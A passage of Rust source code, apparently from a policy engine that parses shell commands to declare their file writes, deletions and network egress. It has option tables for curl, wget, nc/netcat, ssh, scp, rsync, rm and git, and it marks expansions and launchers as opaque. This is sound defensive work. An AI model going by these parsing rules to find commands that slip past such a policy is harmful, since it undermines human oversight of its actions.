    // then still declares the paths it changes, so an owner's decline binds
    // it by effect, not by its text.
    let changes_directory = expanded_commands(command)
        .iter()
        .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
    if changes_directory {
        out.unresolved();
    }
    let mut here: Option<String> = cwd
        .map(str::trim)
        .filter(|dir| crate::BackendPath::is_absolute(dir))
        .map(str::to_string);
    // Only text the shell executes yields keys: heredoc bodies, comments
    // and the inside of multi-line quoted strings are dropped first.
    for line in executed_text(&command.replace("\\\n", " ")).split('\n') {
        let scanned = scan(line);
        // Substitutions, groupings, heredocs and comments hide commands.
        if scanned.unsafe_syntax {
            out.opaque();
        }
        // A redirect is applied before its own segment runs, so on a line
        // that changes directory its target's directory is not known.
        let line_moves = scanned.segments.iter().any(|segment| {
            shell_words::split(segment).is_ok_and(|tokens| {
                tokens
                    .first()
                    .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
            })
        });
        for target in &scanned.output_targets {
            if target.contains(['"', '\'']) || line_moves {
                out.unresolved();
            } else {
                out.path(EffectClass::Write, target, here.as_deref());
            }
        }
        for (index, segment) in scanned.segments.iter().enumerate() {
            if segment.trim().is_empty() {
                continue;
            }
            if has_expansion(segment) {
                out.opaque();
            }
            let Ok(tokens) = shell_words::split(segment) else {
                out.opaque();
                continue;
            };
            let tokens = strip_redirections(tokens);
            match tokens.first().map(|program| basename(program)) {
                Some("cd") => {
                    here = if scanned.separators.iter().any(|c| matches!(c, '(' | ')'))
                        || !runs_on_after(&scanned, index)
                        || has_expansion(segment)
                    {
                        None
                    } else {
                        changed_directory(&tokens[1..], here.as_deref())
                    };
                }
                Some("pushd" | "popd") => here = None,
                _ => segment_effects(&tokens, here.as_deref(), &mut out),
            }
        }
    }
    // A launcher hides its program from the walk above (`sudo curl`,
    // `bash -c '...'`). What such a command contacts is still declared.
    let executed = executed_text(&command.replace("\\\n", " "));
    for tokens in expanded_commands(&executed) {
        let mut inner = ShellAnalysis {
            keys: Vec::new(),
            complete: true,
        };
        segment_effects(&tokens, cwd, &mut inner);
        for key in inner.keys {
            if key.class == EffectClass::Egress {
                out.add(key);
            }
        }
    }
    out
}

/// Whether the rest of the script runs after segment `index` of a scanned
/// line in the same shell: the line ends there, or it is followed by `;`,
/// `&&` or `||`. A pipe or `&` runs it in its own process.
fn runs_on_after(scanned: &Scan, index: usize) -> bool {
    let doubled = |c: char| {
        scanned
            .segments
            .get(index + 1)
            .is_some_and(|next| next.trim().is_empty())
            && scanned.separators.get(index + 1) == Some(&c)
    };
    match scanned.separators.get(index) {
        None | Some(';') => true,
        Some('&') => doubled('&'),
        Some('|') => doubled('|'),
        Some(_) => false,
    }
}

/// The directory `cd ARGS` moves to from `here`: one literal operand,
/// absolute or relative to a known `here`, normalized. `None` for anything
/// else (`cd`, `cd -`, options, `~user`, expansion).
fn changed_directory(args: &[String], here: Option<&str>) -> Option<String> {
    let [target] = args else {
        return None;
    };
    if target.starts_with('-') {
        return None;
    }
    let absolute = structural_absolute_path(target, here)?;
    EffectKey::path(EffectClass::Write, &absolute).map(|key| key.target)
}

/// Whether the shell would expand anything in `segment`: an unquoted brace,
/// glob, `$`, backtick, backslash or `~user`, or a `$`, backtick or
/// backslash inside double quotes. Single quotes are literal.
fn has_expansion(segment: &str) -> bool {
    let chars: Vec<char> = segment.chars().collect();
    let (mut in_single, mut in_double) = (false, false);
    for (index, &c) in chars.iter().enumerate() {
        if in_single {
            in_single = c != '\'';
            continue;
        }
        if in_double {
            match c {
                '"' => in_double = false,
                '$' | '`' | '\\' => return true,
                _ => {}
            }
            continue;
        }
        match c {
            '\'' => in_single = true,
            '"' => in_double = true,
            '{' | '}' | '*' | '?' | '[' | ']' | '$' | '`' | '\\' => return true,
            '~' => {
                let word_start = index == 0 || chars[index - 1].is_whitespace();
                let user = chars
                    .get(index + 1)
                    .is_some_and(|next| !next.is_whitespace() && *next != '/');
                if word_start && user {
                    return true;
                }
            }
            _ => {}
        }
    }
    false
}

fn segment_effects(tokens: &[String], here: Option<&str>, out: &mut ShellAnalysis) {
    let Some(program) = tokens.first() else {
        return;
    };
    let path_ok = !program.contains('/')
        || program
            .rsplit_once('/')
            .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
    if is_env_assignment(program) || !path_ok {
        out.opaque();
        return;
    }
    let name = basename(program);
    let args = &tokens[1..];
    // Every git command can run repository-configured code (diff.external,
    // core.fsmonitor, aliases, pagers, hooks), so none is a modelled
    // observation here; `git` below declares what it can as a lower bound.
    if name != "git" && is_program_observation(name, args) {
        return;
    }
    match name {
        // Already made the whole call incomplete.
        "cd" | "pushd" | "popd" => {}
        "rm" | "rmdir" | "unlink" => {
            if parse_options(&REMOVE, args).is_some() {
                deleted(tokens, here, out)
            } else {
                out.unresolved()
            }
        }
        "find"
            if args.iter().any(|arg| arg == "-delete")
                && !args
                    .iter()
                    .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())) =>
        {
            deleted(tokens, here, out)
        }
        "cp" | "mv" => copied(name, args, here, out),
        "tee" | "touch" | "mkdir" => created(name, args, here, out),
        "curl" => curl(args, here, out),
        "wget" => wget(args, here, out),
        "invoke-webrequest" => powershell_web(args, out),
        name if in_powershell_table(POWERSHELL_DELETES, name) => {
            if powershell_args_plain(args) {
                deleted(tokens, here, out)
            } else {
                out.unresolved()
            }
        }
        "http" | "https" | "xh" | "xhs" => httpie(args, here, out),
        "nc" | "ncat" | "netcat" => netcat(args, out),
        "ssh" => ssh(args, here, out),
        "scp" => scp(args, here, out),
        "rsync" => rsync(args, here, out),
        "git" => git(args, here, out),
        _ => out.opaque(),
    }
}

/// PowerShell's web cmdlets (and, in Windows PowerShell, `curl` and
/// `wget`): every URL argument is an egress, so the network policy still
/// sees where the call goes. Their method and body options are not modelled,
/// so the call is never understood.
fn powershell_web(args: &[String], out: &mut ShellAnalysis) {
    out.opaque();
    for arg in args {
        if arg.contains("://") {
            match url_effect(arg) {
                Some(key) => out.add(key),
                None => out.unresolved(),
            }
        }
    }
}

const REMOVE: OptionSpec = OptionSpec {
    flags: "rRfidIvP",
    valued: &[],
    long_flags: &[
        "recursive",
        "force",
        "dir",
        "verbose",
        "interactive",
        "one-file-system",
        "preserve-root",
        "ignore-fail-on-non-empty",
        "parents",
    ],
    long_valued: &[],
    long_equals: false,
    exact: &[],
    stop_at_positional: false,
};

fn deleted(tokens: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    match delete_targets(&shell_words::join(tokens)) {
        Some(targets) => {
            for target in targets {
                out.path(EffectClass::Delete, &target, cwd);
            }
        }
        None => out.unresolved(),
    }
}

/// What an option's value means for the call's effects.
#[derive(Clone, Copy, PartialEq, Eq)]
enum OptionValue {
    /// Does not change what the call touches (a header, a timeout).
    Ignore,
    /// A URL the program contacts.
    Url,
    /// A file the program writes (`-` is stdout).
    Write,
    /// The file a download is saved to (`-` is stdout).
    Document,
    /// The port of the destination.
    Port,
    /// The directory `cp`/`mv` write into (`-t`).
    TargetDir,
}

/// The options a program is understood with. An option not listed makes
/// the segment undeterminable.
struct OptionSpec {
    /// Short options without a value; they may be clustered.
    flags: &'static str,
    /// Short options with a value, attached or in the next word.
    valued: &'static [(char, OptionValue)],
    long_flags: &'static [&'static str],
    long_valued: &'static [(&'static str, OptionValue)],
    /// Long options accept `--name=value`.
    long_equals: bool,
    /// Whole words without a value (wget's `-nv`).
    exact: &'static [&'static str],
    /// Options end at the first operand (ssh: the rest is the remote
    /// command).
    stop_at_positional: bool,
}

#[derive(Default)]
struct ParsedOptions {
    positionals: Vec<String>,
    values: Vec<(OptionValue, String)>,
    long_flags: Vec<String>,
}

fn parse_options(spec: &OptionSpec, args: &[String]) -> Option<ParsedOptions> {
    let mut parsed = ParsedOptions::default();
    let mut index = 0;
    let mut options_done = false;
    while index < args.len() {
        let arg = &args[index];
        index += 1;
        if options_done || arg == "-" || !arg.starts_with('-') {
            parsed.positionals.push(arg.clone());
            options_done |= spec.stop_at_positional;
            continue;
        }
        if arg == "--" {
            options_done = true;
            continue;
        }
        if spec.exact.contains(&arg.as_str()) {
            continue;
        }
        if let Some(long) = arg.strip_prefix("--") {
            if let Some((name, value)) = long.split_once('=') {
                if !spec.long_equals {
                    return None;
                }
                let role = lookup(spec.long_valued, name)?;
                parsed.values.push((role, attached_value(value)));
            } else if spec.long_flags.contains(&long) {
                parsed.long_flags.push(long.to_string());
            } else {
                let role = lookup(spec.long_valued, long)?;
                parsed.values.push((role, args.get(index)?.clone()));
                index += 1;
            }
            continue;
        }
        let cluster: Vec<char> = arg[1..].chars().collect();
        for (position, letter) in cluster.iter().enumerate() {
            if spec.flags.contains(*letter) {
                continue;
            }
            let role = spec
                .valued
                .iter()
                .find(|(short, _)| short == letter)
                .map(|(_, role)| *role)?;
            let rest: String = cluster[position + 1..].iter().collect();
            let value = if rest.is_empty() {
                index += 1;
                args.get(index - 1)?.clone()
            } else {
                rest
            };
            parsed.values.push((role, attached_value(&value)));
            break;
        }
    }
    Some(parsed)
}

/// A value attached to its option (`--opt=~/x`, `-o~/x`) is not at the
/// start of a shell word, so the shell leaves a leading `~` literal: it names
/// a directory called `~` relative to the working directory.
fn attached_value(value: &str) -> String {
    if value.starts_with('~') {
        format!("./{value}")
    } else {
        value.to_string()
    }
}

fn lookup(table: &[(&str, OptionValue)], name: &str) -> Option<OptionValue> {
    table
        .iter()
        .find(|(long, _)| *long == name)
        .map(|(_, role)| *role)
}

/// Apply the option values every program shares: written files and URLs.
/// Proxies are never listed: where traffic goes through one is not modelled.
fn apply_values(parsed: &ParsedOptions, cwd: Option<&str>, out: &mut ShellAnalysis) {
    for (role, value) in &parsed.values {
        match role {
            OptionValue::Write | OptionValue::Document if value != "-" => {
                out.path(EffectClass::Write, value, cwd)
            }
            OptionValue::Url => out.egress(url_effect(value)),
            _ => {}
        }
    }
}

const CURL: OptionSpec = OptionSpec {
    flags: "sSLfiIkvGNqjgn0123456#Z",
    valued: &[
        ('X', OptionValue::Ignore),
        ('d', OptionValue::Ignore),
        ('H', OptionValue::Ignore),
        ('u', OptionValue::Ignore),
        ('A', OptionValue::Ignore),
        ('e', OptionValue::Ignore),
        ('F', OptionValue::Ignore),
        ('m', OptionValue::Ignore),
        ('T', OptionValue::Ignore),
        ('b', OptionValue::Ignore),
        ('w', OptionValue::Ignore),
        ('r', OptionValue::Ignore),
        ('C', OptionValue::Ignore),
        ('Y', OptionValue::Ignore),
        ('y', OptionValue::Ignore),
        ('z', OptionValue::Ignore),
        ('E', OptionValue::Ignore),
        ('U', OptionValue::Ignore),
        ('o', OptionValue::Write),
        ('D', OptionValue::Write),
        ('c', OptionValue::Write),
    ],
    long_flags: &[
        "silent",
        "show-error",
        "location",
        "location-trusted",
        "fail",
        "fail-with-body",
        "fail-early",
        "include",
        "head",
        "insecure",
        "verbose",
        "get",
        "compressed",
        "http0.9",
        "http1.0",
        "http1.1",
        "http2",
        "http2-prior-knowledge",
        "http3",
        "http3-only",
        "no-buffer",
        "globoff",
        "ipv4",
        "ipv6",
        "no-progress-meter",
        "progress-bar",
        "netrc",
        "netrc-optional",
        "raw",
        "tr-encoding",
        "no-keepalive",
        "ssl-reqd",
        "tcp-nodelay",
        "path-as-is",
        "retry-all-errors",
        "retry-connrefused",
        "anyauth",
        "basic",
        "digest",
        "ntlm",
        "negotiate",
        "disable",
        "junk-session-cookies",
        "parallel",
        "tlsv1.2",
        "tlsv1.3",
        "styled-output",
        "no-styled-output",
    ],
    long_valued: &[
        ("url", OptionValue::Url),
        ("request", OptionValue::Ignore),
        ("data", OptionValue::Ignore),
        ("data-raw", OptionValue::Ignore),
        ("data-binary", OptionValue::Ignore),
        ("data-urlencode", OptionValue::Ignore),
        ("data-ascii", OptionValue::Ignore),
        ("json", OptionValue::Ignore),
        ("header", OptionValue::Ignore),
        ("user", OptionValue::Ignore),
        ("user-agent", OptionValue::Ignore),
        ("referer", OptionValue::Ignore),
        ("form", OptionValue::Ignore),
        ("form-string", OptionValue::Ignore),
        ("max-time", OptionValue::Ignore),
        ("connect-timeout", OptionValue::Ignore),
        ("upload-file", OptionValue::Ignore),
        ("cookie", OptionValue::Ignore),
        ("write-out", OptionValue::Ignore),
        ("range", OptionValue::Ignore),
        ("retry", OptionValue::Ignore),
        ("retry-delay", OptionValue::Ignore),
        ("retry-max-time", OptionValue::Ignore),
        ("cacert", OptionValue::Ignore),
        ("capath", OptionValue::Ignore),
        ("cert", OptionValue::Ignore),
        ("cert-type", OptionValue::Ignore),
        ("key", OptionValue::Ignore),
        ("key-type", OptionValue::Ignore),
        ("oauth2-bearer", OptionValue::Ignore),
        ("max-redirs", OptionValue::Ignore),
        ("limit-rate", OptionValue::Ignore),
        ("max-filesize", OptionValue::Ignore),
        ("continue-at", OptionValue::Ignore),
        ("time-cond", OptionValue::Ignore),
        ("proxy-user", OptionValue::Ignore),
        ("output", OptionValue::Write),
        ("dump-header", OptionValue::Write),
        ("cookie-jar", OptionValue::Write),
        ("trace", OptionValue::Write),
        ("trace-ascii", OptionValue::Write),
        ("libcurl", OptionValue::Write),
        ("stderr", OptionValue::Write),
        ("etag-save", OptionValue::Write),
    ],
    long_equals: false,
    exact: &[],
    stop_at_positional: false,
};

fn curl(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(parsed) = parse_options(&CURL, args) else {
        out.opaque();
        return;
    };
    // `--write-out '%output{file}'` writes a file the option names inline.
    if parsed
        .values
        .iter()
        .any(|(_, value)| value.contains("%output{"))
    {
        out.unresolved();
    }
    apply_values(&parsed, cwd, out);
    for url in &parsed.positionals {
        out.egress(url_effect(url));
    }
}

const WGET: OptionSpec = OptionSpec {
    flags: "qvSc",
    valued: &[
        ('O', OptionValue::Document),
        ('o', OptionValue::Write),
        ('a', OptionValue::Write),
        ('T', OptionValue::Ignore),
        ('t', OptionValue::Ignore),
        ('U', OptionValue::Ignore),
    ],
    long_flags: &[
        "quiet",
        "verbose",
        "no-verbose",
        "server-response",
        "spider",
        "continue",
        "no-check-certificate",
        "no-clobber",
        "inet4-only",
        "inet6-only",
        "no-cache",
        "no-cookies",
        "content-on-error",
        "ignore-length",
        "auth-no-challenge",
        "no-proxy",
    ],
    long_valued: &[
        ("output-document", OptionValue::Document),
        ("output-file", OptionValue::Write),
        ("append-output", OptionValue::Write),
        ("save-cookies", OptionValue::Write),
        ("timeout", OptionValue::Ignore),
        ("tries", OptionValue::Ignore),
        ("header", OptionValue::Ignore),
        ("method", OptionValue::Ignore),
        ("body-data", OptionValue::Ignore),
        ("body-file", OptionValue::Ignore),
        ("post-data", OptionValue::Ignore),
        ("post-file", OptionValue::Ignore),
        ("user-agent", OptionValue::Ignore),
        ("user", OptionValue::Ignore),
        ("password", OptionValue::Ignore),
        ("http-user", OptionValue::Ignore),
        ("http-password", OptionValue::Ignore),
        ("referer", OptionValue::Ignore),
        ("wait", OptionValue::Ignore),
        ("limit-rate", OptionValue::Ignore),
        ("read-timeout", OptionValue::Ignore),
        ("connect-timeout", OptionValue::Ignore),
        ("dns-timeout", OptionValue::Ignore),
        ("max-redirect", OptionValue::Ignore),
        ("progress", OptionValue::Ignore),
        ("ca-certificate", OptionValue::Ignore),
        ("certificate", OptionValue::Ignore),
        ("private-key", OptionValue::Ignore),
        ("load-cookies", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &["-nv", "-nc", "-nd", "-nH"],
    stop_at_positional: false,
};

fn wget(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(parsed) = parse_options(&WGET, args) else {
        out.opaque();
        return;
    };
    apply_values(&parsed, cwd, out);
    for url in &parsed.positionals {
        out.egress(url_effect(url));
    }
    // Without `-O` wget saves under a name taken from the URL or response.
    let names_output = parsed
        .values
        .iter()
        .any(|(role, _)| *role == OptionValue::Document);
    let spider = parsed.long_flags.iter().any(|flag| flag == "spider");
    if !names_output && !spider {
        out.unresolved();
    }
}

/// The URLs a command is proven to have fetched when it exits 0, as written:
/// the whole command is `curl` or `wget` invocations joined only by `&&`,
/// each naming exactly one strict URL in a shape the option tables
/// understand. With `&&` the exit status is the last invocation's and every
/// earlier one had to succeed for it to run, so status 0 proves every fetch
/// completed (for curl: a response arrived; with `-f` also a non-error
/// status). `None` for anything a later step could mask or that could run
/// something else: `;`, `||`, a pipe, a background `&`, a newline, a
/// subshell or substitution, an expansion, a launcher or variable
/// assignment, an unlisted option, or a second URL in one invocation (curl
/// reports only its last transfer).
pub fn proven_fetch_urls(command: &str) -> Option<Vec<String>> {
    let scanned = scan(command);
    if scanned.unsafe_syntax || !scanned.separators.len().is_multiple_of(2) {
        return None;
    }
    // `&&` scans as two `&` with an empty segment between them.
    for (pair, between) in scanned
        .separators
        .chunks(2)
        .zip(scanned.segments.iter().skip(1).step_by(2))
    {
        if pair != ['&', '&'] || !between.is_empty() {
            return None;
        }
    }
    let mut urls = Vec::new();
    for segment in scanned.segments.iter().step_by(2) {
        if has_expansion(segment) {
            return None;
        }
        let tokens = strip_redirections(shell_words::split(segment).ok()?);
        let (program, args) = tokens.split_first()?;
        let path_ok = !program.contains('/')
            || program
                .rsplit_once('/')
                .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
        if !path_ok {
            return None;
        }
        let spec = match basename(program) {
            "curl" => &CURL,
            "wget" => &WGET,
            _ => return None,
        };
        let parsed = parse_options(spec, args)?;
        let mut named = parsed.positionals.iter().chain(
            parsed
                .values
                .iter()
                .filter(|(role, _)| *role == OptionValue::Url)
                .map(|(_, value)| value),
        );
        let url = named.next()?;
        if named.next().is_some() || strict_url(url).is_none() {
            return None;
        }
        urls.push(url.clone());
    }
    Some(urls)
}

const HTTPIE: OptionSpec = OptionSpec {
    flags: "vhbfjFIq",
    valued: &[
        ('p', OptionValue::Ignore),
        ('s', OptionValue::Ignore),
        ('a', OptionValue::Ignore),
        ('A', OptionValue::Ignore),
        ('o', OptionValue::Write),
    ],
    long_flags: &[
        "json",
        "form",
        "multipart",
        "verbose",
        "headers",
        "body",
        "follow",
        "check-status",
        "ignore-stdin",
        "quiet",
        "offline",
        "all",
    ],
    long_valued: &[
        ("print", OptionValue::Ignore),
        ("pretty", OptionValue::Ignore),
        ("style", OptionValue::Ignore),
        ("auth", OptionValue::Ignore),
        ("auth-type", OptionValue::Ignore),
        ("timeout", OptionValue::Ignore),
        ("max-redirects", OptionValue::Ignore),
        ("verify", OptionValue::Ignore),
        ("cert", OptionValue::Ignore),
        ("cert-key", OptionValue::Ignore),
        ("output", OptionValue::Write),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

/// HTTPie (`http`, `https`) and xh: `[METHOD] URL [items]`. Only a strict
/// URL is read; the `:port/path` localhost shorthand and scheme-less hosts
/// are guesses the program makes.
fn httpie(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(parsed) = parse_options(&HTTPIE, args) else {
        out.opaque();
        return;
    };
    apply_values(&parsed, cwd, out);
    let mut positionals = parsed.positionals.iter();
    let mut url = positionals.next();
    if url.is_some_and(|word| !word.is_empty() && word.chars().all(|c| c.is_ascii_uppercase())) {
        url = positionals.next();
    }
    let Some(url) = url else {
        out.opaque();
        return;
    };
    out.egress(url_effect(url));
}

const NETCAT: OptionSpec = OptionSpec {
    flags: "vznu46CDdN",
    valued: &[
        ('w', OptionValue::Ignore),
        ('p', OptionValue::Ignore),
        ('s', OptionValue::Ignore),
        ('q', OptionValue::Ignore),
        ('i', OptionValue::Ignore),
    ],
    long_flags: &[],
    long_valued: &[],
    long_equals: false,
    exact: &[],
    stop_at_positional: false,
};

/// `nc host port`. Listening, proxies and `-e` are not understood.
fn netcat(args: &[String], out: &mut ShellAnalysis) {
    let target = parse_options(&NETCAT, args).and_then(|parsed| match &parsed.positionals[..] {
        [host, port] => egress_effect("", host, Some(port.parse::<u16>().ok()?)),
        _ => None,
    });
    out.egress(target);
}

const SSH: OptionSpec = OptionSpec {
    flags: "46AaCfGgKkMNnqsTtVvXxYy",
    valued: &[
        ('p', OptionValue::Port),
        ('i', OptionValue::Ignore),
        ('l', OptionValue::Ignore),
        ('L', OptionValue::Ignore),
        ('R', OptionValue::Ignore),
        ('D', OptionValue::Ignore),
        ('c', OptionValue::Ignore),
        ('m', OptionValue::Ignore),
        ('b', OptionValue::Ignore),
        ('e', OptionValue::Ignore),
        ('E', OptionValue::Write),
    ],
    long_flags: &[],
    long_valued: &[],
    long_equals: false,
    exact: &[],
    stop_at_positional: true,
};

fn port_option(parsed: &ParsedOptions) -> Result<Option<u16>, ()> {
    match parsed
        .values
        .iter()
        .rev()
        .find(|(role, _)| *role == OptionValue::Port)
    {
        Some((_, port)) => port.parse::<u16>().map(Some).map_err(|_| ()),
        None => Ok(None),
    }
}

/// `user@host` or `host` (brackets allowed for IPv6) as an ssh egress.
fn ssh_host_effect(destination: &str, port: Option<u16>) -> Option<EffectKey> {
    if destination.matches('@').count() > 1 {
        return None;
    }
    let host = destination
        .rsplit_once('@')
        .map_or(destination, |(_, host)| host);
    egress_effect("ssh", host, port)
}

/// `ssh [options] destination [command]`: the remote command runs on the
/// destination, so only the destination is an effect here.
fn ssh(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(parsed) = parse_options(&SSH, args) else {
        out.opaque();
        return;
    };
    apply_values(&parsed, cwd, out);
    let Ok(port) = port_option(&parsed) else {
        out.opaque();
        return;
    };
    let key = parsed.positionals.first().and_then(|destination| {
        if destination.contains("://") {
            let url = strict_url(destination)?;
            if url.scheme() != "ssh" {
                return None;
            }
            egress_effect("ssh", url.host_str()?, port.or(url.port()))
        } else {
            ssh_host_effect(destination, port)
        }
    });
    out.egress(key);
}

/// A remote operand of scp or rsync (`[user@]host:path`, `host::module`,
/// `scheme://`), as an egress on `scheme`. `Ok(None)` for a local path,
/// `Err` when it cannot be read.
fn remote_operand(operand: &str, scheme: &str, port: Option<u16>) -> Result<Option<EffectKey>, ()> {
    if operand.contains("://") {
        return url_effect(operand).map(Some).ok_or(());
    }
    if operand.starts_with(['/', '.', '~']) {
        return Ok(None);
    }
    let (user_host, rest) = match operand.find('[') {
        // `[user@][v6]:path`
        Some(open) => {
            let close = operand.find(']').ok_or(())?;
            if close < open || operand.as_bytes().get(close + 1) != Some(&b':') {
                return Err(());
            }
            (&operand[..=close], &operand[close + 1..])
        }
        None => match operand.split_once(':') {
            Some((before, _)) if !before.contains('/') => (before, &operand[before.len()..]),
            _ => return Ok(None),
        },
    };
    if user_host.is_empty() {
        return Err(());
    }
    // `host::module` is the rsync daemon.
    if rest.starts_with("::") && scheme == "rsync" {
        let host = user_host
            .rsplit_once('@')
            .map_or(user_host, |(_, host)| host);
        return egress_effect("rsync", host, port.or(Some(873)))
            .map(Some)
            .ok_or(());
    }
    ssh_host_effect(user_host, port).map(Some).ok_or(())
}

/// Sources and destination of scp/rsync: remote operands are egress, a
/// local destination is written. `Some(true)` when the destination is
/// local; `None` when the operands cannot be read.
fn transfer(
    positionals: &[String],
    scheme: &str,
    port: Option<u16>,
    cwd: Option<&str>,
    out: &mut ShellAnalysis,
) -> Option<bool> {
    let Some((destination, sources)) = positionals.split_last().filter(|(_, s)| !s.is_empty())
    else {
        out.opaque();
        return None;
    };
    for source in sources {
        match remote_operand(source, scheme, port) {
            Ok(Some(key)) => out.add(key),
            Ok(None) => {}
            Err(()) => out.opaque(),
        }
    }
    match remote_operand(destination, scheme, port) {
        Ok(Some(key)) => {
            out.add(key);
            Some(false)
        }
        Ok(None) => {
            out.path(EffectClass::Write, destination, cwd);
            Some(true)
        }
        Err(()) => {
            out.opaque();
            None
        }
    }
}

const SCP: OptionSpec = OptionSpec {
    flags: "346BCpqrTvA",
    valued: &[
        ('P', OptionValue::Port),
        ('i', OptionValue::Ignore),
        ('l', OptionValue::Ignore),
        ('c', OptionValue::Ignore),
    ],
    long_flags: &[],
    long_valued: &[],
    long_equals: false,
    exact: &[],
    stop_at_positional: false,
};

fn scp(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(parsed) = parse_options(&SCP, args) else {
        out.opaque();
        return;
    };
    let Ok(port) = port_option(&parsed) else {
        out.opaque();
        return;
    };
    transfer(&parsed.positionals, "ssh", port, cwd, out);
}

const RSYNC: OptionSpec = OptionSpec {
    flags: "avzrlptgoDhPnciuqHAXSWxRIKLkmyO",
    valued: &[('B', OptionValue::Ignore)],
    long_flags: &[
        "archive",
        "verbose",
        "compress",
        "recursive",
        "links",
        "perms",
        "times",
        "group",
        "owner",
        "devices",
        "specials",
        "human-readable",
        "progress",
        "partial",
        "dry-run",
        "checksum",
        "update",
        "quiet",
        "hard-links",
        "acls",
        "xattrs",
        "sparse",
        "whole-file",
        "one-file-system",
        "relative",
        "ignore-existing",
        "inplace",
        "append",
        "stats",
        "itemize-changes",
        "delete",
        "delete-before",
        "delete-during",
        "delete-after",
        "delete-delay",
        "delete-excluded",
        "remove-source-files",
        "prune-empty-dirs",
        "numeric-ids",
        "safe-links",
        "copy-links",
        "keep-dirlinks",
        "no-motd",
        "mkpath",
    ],
    long_valued: &[
        ("exclude", OptionValue::Ignore),
        ("include", OptionValue::Ignore),
        ("exclude-from", OptionValue::Ignore),
        ("include-from", OptionValue::Ignore),
        ("bwlimit", OptionValue::Ignore),
        ("timeout", OptionValue::Ignore),
        ("contimeout", OptionValue::Ignore),
        ("chmod", OptionValue::Ignore),
        ("max-size", OptionValue::Ignore),
        ("min-size", OptionValue::Ignore),
        ("password-file", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

fn rsync(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(parsed) = parse_options(&RSYNC, args) else {
        out.opaque();
        return;
    };
    // rsync's own `--port` is not listed: it applies to one transport only.
    let port = None;
    let Some(local_destination) = transfer(&parsed.positionals, "rsync", port, cwd, out) else {
        return;
    };
    let flag = |name: &str| parsed.long_flags.iter().any(|flag| flag.starts_with(name));
    let Some((destination, sources)) = parsed.positionals.split_last() else {
        return;
    };
    // `--delete*` removes files below a local destination (a remote one is
    // already egress).
    if flag("delete") && local_destination {
        out.path(EffectClass::Delete, destination, cwd);
    }
    // `--remove-source-files` deletes what it sent.
    if flag("remove-source-files") {
        for source in sources {
            if matches!(remote_operand(source, "rsync", port), Ok(None)) {
                out.path(EffectClass::Delete, source, cwd);
            }
        }
    }
}

const COPY: OptionSpec = OptionSpec {
    flags: "rRfinpavLPHlsuxXTcdD",
    valued: &[('t', OptionValue::TargetDir)],
    long_flags: &[
        "archive",
        "recursive",
        "force",
        "interactive",
        "no-clobber",
        "verbose",
        "update",
        "parents",
        "no-target-directory",
        "dereference",
        "no-dereference",
        "one-file-system",
        "link",
        "symbolic-link",
        "preserve",
        "reflink",
        "strip-trailing-slashes",
    ],
    long_valued: &[
        ("target-directory", OptionValue::TargetDir),
        ("preserve", OptionValue::Ignore),
        ("no-preserve", OptionValue::Ignore),
        ("sparse", OptionValue::Ignore),
        ("reflink", OptionValue::Ignore),
        ("update", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

/// `cp`/`mv`: the destination (the last operand, or `-t DIR`) is written;
/// `mv` also removes its sources.
fn copied(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    let Some(parsed) = parse_options(&COPY, args) else {
        out.unresolved();
        return;
    };
    let target_dir = parsed
        .values
        .iter()
        .rev()
        .find(|(role, _)| *role == OptionValue::TargetDir)
        .map(|(_, dir)| dir.clone());
    let (destination, sources) = match &target_dir {
        Some(dir) => (dir.as_str(), &parsed.positionals[..]),
        None => match parsed.positionals.split_last() {
            Some((destination, sources)) if !sources.is_empty() => (destination.as_str(), sources),
            _ => {
                out.unresolved();
                return;
            }
        },
    };
    out.path(EffectClass::Write, destination, cwd);
    if program == "mv" {
        for source in sources {
            out.path(EffectClass::Delete, source, cwd);
        }
    }
}

const CREATE: OptionSpec = OptionSpec {
    flags: "aipcmhf",
    valued: &[
        ('t', OptionValue::Ignore),
        ('d', OptionValue::Ignore),
        ('r', OptionValue::Ignore),
    ],
    long_flags: &[
        "append",
        "ignore-interrupts",
        "no-create",
        "no-dereference",
        "parents",
        "verbose",
    ],
    long_valued: &[
        ("output-error", OptionValue::Ignore),
        ("date", OptionValue::Ignore),
        ("reference", OptionValue::Ignore),
        ("time", OptionValue::Ignore),
        ("mode", OptionValue::Ignore),
    ],
    long_equals: true,
    exact: &[],
    stop_at_positional: false,
};

/// `tee`, `touch` and `mkdir` write each operand.
fn created(program: &str, args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
    // `mkdir -m MODE` takes a value where `touch -m` does not.
    let spec = if program == "mkdir" {
        OptionSpec {
            flags: "pv",
            valued: &[('m', OptionValue::Ignore)],
            ..CREATE
        }
    } else {
        CREATE
    };
    match parse_options(&spec, args) {
        Some(parsed) => {
            for operand in &parsed.positionals {
                if operand != "-" {
                    out.path(EffectClass::Write, operand, cwd);
                }
            }
        }
        None => out.unresolved(),
    }
}

/// Options of git's network subcommands, with their arity. They are read
/// only to find the remote operand (a lower bound): these commands are
/// always incomplete.
const GIT_CLONE: OptionSpec = OptionSpec {
    flags: "qvnls",
    valued: &[
        ('b', OptionValue::Ignore),
        ('o', OptionValue::Ignore),
        ('j', OptionValue::Ignore),
        ('u', OptionValue::Ignore),
        ('c', OptionValue::Ignore),
    ],
    long_flags: &[
        "quiet",
        "verbose",
        "progress",
        "no-checkout",
        "bare",
        "mirror",
        "single-branch",
        "no-single-branch",
        "no-tags",
        "shallow-submodules",
        "no-hardlinks",
        "local",
        "shared",
        "sparse",
        "recurse-submodules",
    ],
    long_valued: &[
